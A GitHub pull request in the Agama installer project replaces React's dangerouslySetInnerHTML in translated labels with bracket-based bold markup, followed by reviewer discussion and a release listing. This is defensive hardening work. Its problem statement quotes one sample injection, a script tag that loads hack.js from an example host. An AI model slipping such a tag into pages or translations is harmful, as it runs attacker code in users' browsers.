Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Avoid using dangerouslySetInnerHTML #1151

Merged
merged 1 commit into from
Apr 16, 2024
Merged

Conversation

lslezak
Copy link
Contributor

@lslezak lslezak commented Apr 15, 2024

Problem

Using the dangerouslySetInnerHTML React feature is as the name suggests dangerous. It is pretty much similar to using eval() in the code.

  • An invalid translation can break the markup completely. If a translator makes a typo and uses <b><b> instead of <b></b> then the bold markup is not finished and might affect the following text.
  • It is insecure, in theory a malicious translator could put <script src="http://example.com/hack.js> tag into the translation and inject arbitrary code into the page.

Solution

  • Use special characters [] in the plain text and find out the bold part of the text using code.
  • If there is a typo or missing bracket then the bold text will not be displayed correctly but the wrong markup cannot affect the following text, it is limited only to that label.
  • Javascript injection is not possible, the <script> tag would be escaped an displayed literately in the text. Although we review the translation pull requests it is pretty easy to overlook a <script> tag at end of a veeeery long line unless you scroll.

Testing

  • Tested manually

Screenshots

After fixing the problem it still looks exactly the same.

agama_disk_description

- invalid translation can break the markup
- it is insecure
@coveralls
Copy link

Coverage Status

coverage: 74.819%. remained the same
when pulling faaab89 on remove_dangerouslySetInnerHTML
into 1fcc535 on master.

Copy link
Contributor

@dgdavid dgdavid left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

LGTM, thanks a lot for taking care.

@dgdavid
Copy link
Contributor

dgdavid commented Apr 15, 2024

LGTM, thanks a lot for taking care.

BTW, I'd like to apologize for overlooking both, the link to this PR this morning in IRC and an old comment you wrote back in September (although I had a reason for overlooking that one 🦶)

If I remember correctly, the use of dangerouslySetInnerHtml was introduced in #995, because a mix of reasons: the use of <abbr >, an overlook of your quoted comment, and the fact that we felt safe on that regard because the feeling of being in control of those translations. But yeah, look at what happened recently with the https://xzhack.com.

As a disclaimer, I have to say that I was aware of the React recommendations and I was not comfortable with the use of such attribute. I thought I had wrote about it somewhere, but I'm not able to find these comments now. I even had a few plans in mind, like

  • Preparing a component for simplifying and "securing" its use by relying on DOMPurify or similar too.
  • To look for something to automatically check all translations files and warning about potential security issues that it might found
  • To look for something Markdown based.

But time, priorities and other stuff have been relegating them to background all the time. You know, I guess. Either way, right now your solution is better and straight forward, indeed.

So, again, thanks a lot for the PR which, along with recently merged #1149 , completely removes the use of such a dangerous prop.

And please, accept the apologies for the mentioned overlooks and/or lack of sync.

@dgdavid
Copy link
Contributor

dgdavid commented Apr 15, 2024

To look for something to automatically check all translations files and warning about potential security issues that it might found

Maybe, in the future, we can resume that idea but for warning us about open but not closed brackets in the translations. Although not sure if it payoff, but if possible most probably it would help to anticipate a malformed translation.

@lslezak
Copy link
Contributor Author

lslezak commented Apr 16, 2024

But yeah, look at what happened recently with the https://xzhack.com.

Yes, that was my motivation behind this change...

  • To look for something Markdown based.

I was thinking about this as well (react-markdown), but IMHO it's an overkill, we do not need full markdown support (at least in the current cases).

Maybe, in the future, we can resume that idea but for warning us about open but not closed brackets in the translations.

Probably not worth of doing that, we use this functionality at just few places and a missing bracket will cause just a cosmetic problem, not a functional or security problem.

@lslezak lslezak merged commit 4d6b858 into master Apr 16, 2024
2 checks passed
@lslezak lslezak deleted the remove_dangerouslySetInnerHTML branch April 16, 2024 11:39
@imobachgs imobachgs mentioned this pull request May 17, 2024
imobachgs added a commit that referenced this pull request May 17, 2024
Prepare for releasing Agama 8. It includes the following pull requests:

* #884
* #886
* #914
* #918
* #956
* #957
* #958
* #959
* #960
* #961
* #962
* #963
* #964
* #965
* #966
* #969
* #970
* #976
* #977
* #978
* #979
* #980
* #981
* #983
* #984
* #985
* #986
* #988
* #991
* #992
* #995
* #996
* #997
* #999
* #1003
* #1004
* #1006
* #1007
* #1008
* #1009
* #1010
* #1011
* #1012
* #1014
* #1015
* #1016
* #1017
* #1020
* #1022
* #1023
* #1024
* #1025
* #1027
* #1028
* #1029
* #1030
* #1031
* #1032
* #1033
* #1034
* #1035
* #1036
* #1038
* #1039
* #1041
* #1042
* #1043
* #1045
* #1046
* #1047
* #1048
* #1052
* #1054
* #1056
* #1057
* #1060
* #1061
* #1062
* #1063
* #1064
* #1066
* #1067
* #1068
* #1069
* #1071
* #1072
* #1073
* #1074
* #1075
* #1079
* #1080
* #1081
* #1082
* #1085
* #1086
* #1087
* #1088
* #1089
* #1090
* #1091
* #1092
* #1093
* #1094
* #1095
* #1096
* #1097
* #1098
* #1099
* #1100
* #1102
* #1103
* #1104
* #1105
* #1106
* #1109
* #1110
* #1111
* #1112
* #1114
* #1116
* #1117
* #1118
* #1119
* #1120
* #1121
* #1122
* #1123
* #1125
* #1126
* #1127
* #1128
* #1129
* #1130
* #1131
* #1132
* #1133
* #1134
* #1135
* #1136
* #1138
* #1139
* #1140
* #1141
* #1142
* #1143
* #1144
* #1145
* #1146
* #1147
* #1148
* #1149
* #1151
* #1152
* #1153
* #1154
* #1155
* #1156
* #1157
* #1158
* #1160
* #1161
* #1162
* #1163
* #1164
* #1165
* #1166
* #1167
* #1168
* #1169
* #1170
* #1171
* #1172
* #1173
* #1174
* #1175
* #1177
* #1178
* #1180
* #1181
* #1182
* #1183
* #1184
* #1185
* #1187
* #1188
* #1189
* #1190
* #1191
* #1192
* #1193
* #1194
* #1195
* #1196
* #1198
* #1199
* #1200
* #1201
* #1203
* #1204
* #1205
* #1206
* #1207
* #1208
* #1209
* #1210
* #1211
* #1212
* #1213
* #1214
* #1215
* #1216
* #1217
* #1219
* #1220
* #1221
* #1222
* #1223
* #1224
* #1225
* #1226
* #1227
* #1229
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

3 participants